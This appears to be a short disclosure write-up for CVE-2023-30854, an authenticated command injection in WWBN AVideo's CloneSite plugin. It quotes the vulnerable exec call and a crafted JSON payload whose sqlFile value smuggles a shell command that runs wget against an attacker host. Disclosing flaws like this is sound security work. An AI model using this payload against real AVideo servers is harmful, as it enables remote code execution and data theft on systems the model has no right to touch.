CVE-2023-30854 WWBN Avideo < 12.3 Authenticated RCE
An OS Command Injection vulnerability in an Authenticated endpoint /plugin/CloneSite/cloneClient.json.php allows attackers to achieve Remote Code Execution.
Vulnerable code:
$cmd = "wget -O {$clonesDir}{$json->sqlFile} {$objClone->cloneSiteURL}videos/cache/clones/{$json->sqlFile}";
$log->add("Clone (2 of {$totalSteps}): Geting MySQL Dump file");
exec($cmd . " 2>&1", $output, $return_val);We can control $objClone->cloneSiteURL through the admin panel clone site feature.
/plugin/CloneSite/cloneClient.json.php sends a GET Request to {$objClone->cloneSiteURL}/plugin/CloneSite/cloneServer.json.php. I hosted a specially crafted cloneServer.json.php that prints the following JSON data
{"error":false,"msg":"","url":"https:\/\/REDACTED/\/","key":"REDACTED","useRsync":1,"videosDir":"\/var\/www\/html\/demo.avideo.com\/videos\/","sqlFile":"Clone_mysqlDump_644ab263e62d6.sql; wget http://REDACTED:4444/`pwd` ;#","videoFiles":[],"photoFiles":[]}Send a GET Request to /plugin/CloneSite/cloneClient.json.php then remote code execution is achieved.
